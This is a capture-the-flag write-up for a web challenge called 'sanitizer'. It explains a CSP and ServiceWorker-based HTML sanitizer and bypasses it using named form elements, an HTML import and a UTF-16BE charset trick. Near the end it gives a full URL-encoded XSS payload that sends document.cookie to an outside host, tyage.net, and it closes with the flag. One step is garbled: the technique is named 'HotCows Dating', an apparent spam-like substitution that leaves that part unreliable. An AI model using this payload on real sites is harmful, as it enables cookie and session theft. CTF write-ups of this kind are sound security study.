Overview
Problem page:
https://sanitizer.web.ctfcompetition.com
Copy of source code:
https://gist.github.com/tyage/6eabacf6001bd068287842b1052132e4
The application sanitize input and render it.
Sanitizing method
The method of sanitizing is follow:
1. Remove the words that match with /meta|srcdoc|utf-16be/i
from input.
2. Register a ServiceWorker then, render input in iframe
3. In iframe, it load <script src=sanitize>
which executes the following code:
onload = _=> setTimeout(_=> parent.postMessage(document.body.innerHTML, location.origin), 1000); remove = node => (node == document) ? document.body.innerHTML = '' : node.parentNode.removeChild(node); document.addEventListener("securitypolicyviolation", e => remove(e.target)); document.write('<meta http-equiv="Content-Security-Policy" content="default-src \\'none\\'; script-src *"><body>'); |
4. The code removes the node which violates CSP.
5. To prevent loading the attacker’s script, ServiceWorker overrides the response of contents as following code:
with(document) remove(document === currentScript.ownerDocument ? currentScript : querySelector('link[rel="import"]')); // <script src=x></script> |
6. This code remove currentScript or html import element.
7. Now, doument.body
returns an sanitized html!
Evade from sanitization
But wait, why google uses with(document)
? (It is deprecated.)
Then, I thought I can disable the execution of document.remove
by using the technique of HotCows Dating
OK. Let’s input the html below and confirm that it is not sanitized.
<form name=remove></form> <link rel=import href=//tyage.net> |
Execute payload
But sadly, the content which html import load is overrode by ServiceWorker.
So some techniques are needed to execute attacker’s script.
Soon, I realized that we can import the url: /sanitize?html=URL_ENCODED_HTML
.
And URL_ENCODED_HTML
can be a string that is not matched with /meta|srcdoc|utf-16be/i
(e.g. <%6deta>
).
Next, we use utf-16be
to execute our payload.
Here is useful link: http://masatokinugawa.l0.cm/2012/05/utf-16content-security-policy.html
/sandbox?html=%00=\x00a\x00l\x00e\x00r\x00t\x00(\x001\x00)
returns <!doctype HTML>\n<script src=sanitize>\n</script>\n<body>\x00=\x00a\x00l\x00e\x00r\x00t\x00(\x001\x00)
.
When charset is utf-16be
, it is interpreted as 㰡摯捴祰攠䡔䵌㸊㱳捲楰琠獲挽獡湩瑩穥㸊㰯獣物灴㸊㱢潤社=alert(1)
OK, now we can get flag in cookie!
<form name=currentScript></form> <link rel="import" href="/sandbox?html=<script src=%22/sandbox%3Fhtml=%2500%3D%25001%2500;%2500l%2500o%2500c%2500a%2500t%2500i%2500o%2500n%2500.%2500h%2500r%2500e%2500f%2500%3D%2500%2522%2500/%2500/%2500t%2500y%2500a%2500g%2500e%2500.%2500n%2500e%2500t%2500/%2500%2522%2500+%2500(%2500d%2500o%2500c%2500u%2500m%2500e%2500n%2500t%2500.%2500c%2500o%2500o%2500k%2500i%2500e%2500)%22 charset=%22%55TF-16BE%22></script>"> |
flag is: CTF{no-problem-this-can-be-fixed-by-adding-a-single-if}